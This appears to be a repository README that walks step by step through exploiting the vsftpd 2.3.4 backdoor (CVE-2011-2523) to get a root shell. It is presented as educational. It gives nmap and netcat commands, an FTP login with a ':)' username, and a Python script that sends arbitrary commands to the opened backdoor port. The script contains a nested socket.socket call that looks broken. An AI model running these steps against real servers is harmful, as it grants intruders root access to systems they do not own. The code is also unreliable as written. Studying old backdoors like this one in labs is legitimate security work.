vsftpd-2.3.4---Backdoor-Command-Execution

vsftpd 2.3.4 (CVE-2011-2523) a critical vulnerability that leads to Root Shell. In this repo I will do a PoC of how to exploit it step by step, Manually & Automatically (Python) for educational purposes.

What is the vulnerability about ? Firstlly, it is a servcie-side exploit so we will exploit it remotly. The idea is when you connect to the FTP service by default on port 21 using a username contain :) it will trigger the system to open a tcp port 6200 with a Root Shell so any one can connect to it and have a Root access to the target server which is a disaster. So let's do it practically step by step. I will expalin it manually first to have the full idea then there is a python script to exploit it automatically.

Manually

Port Scanning

1. port 21 opened

nmap -p21 -sV -sC -O Target_IP 

2. port 6200 closed

nmap -p6200 Target_IP

• Port 6200 is closed for now

Exploitation

3. Connect to FTP service and use a malicious username to trigger the system to open port 6200

ftp Target_IP 

• Username: anything:)
• Password: anything

4. Check port 6200 after FTP connection

nmap -p6200 Target_IP

Port 6200 is open now so this is our backdoor

5. Connect to port 6200 to have a Root Shell on the whole server

nc -nv Target_IP 6200

Finally, we have a Root Shell on the target machine.

Automatically

After we did it manually we know the exploit steps:

1. Connect to FTP server on port (21).
2. Use a username contain :) to trigger the backdoor.
3. connect to the port (6200).

#!/usr/bin/python3 

from ftplib import FTP
import socket
import sys
import time

Target_IP = sys.argv[1]
cmd = sys.argv[2]

# Step1: Connect to FTP
try:
  ftp = FTP(Target_IP,timeout=2)
  ftp.login("user:)","password") # Step2: Send the malicious username
except:
  pass

time.sleep(1) # To give a time for the server to open the port (6200)

#Step3: Connect to port (6200) to have a Root Shell
shell = socket.socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
try:
  shell.connect((Target_IP,6200))
except:
  print("Shell Failed")

#Execute the commands
shell.send(cmd.encode() + b"\n")
print(shell.recv(4096).decode())

#Finally close the connection
shell.close()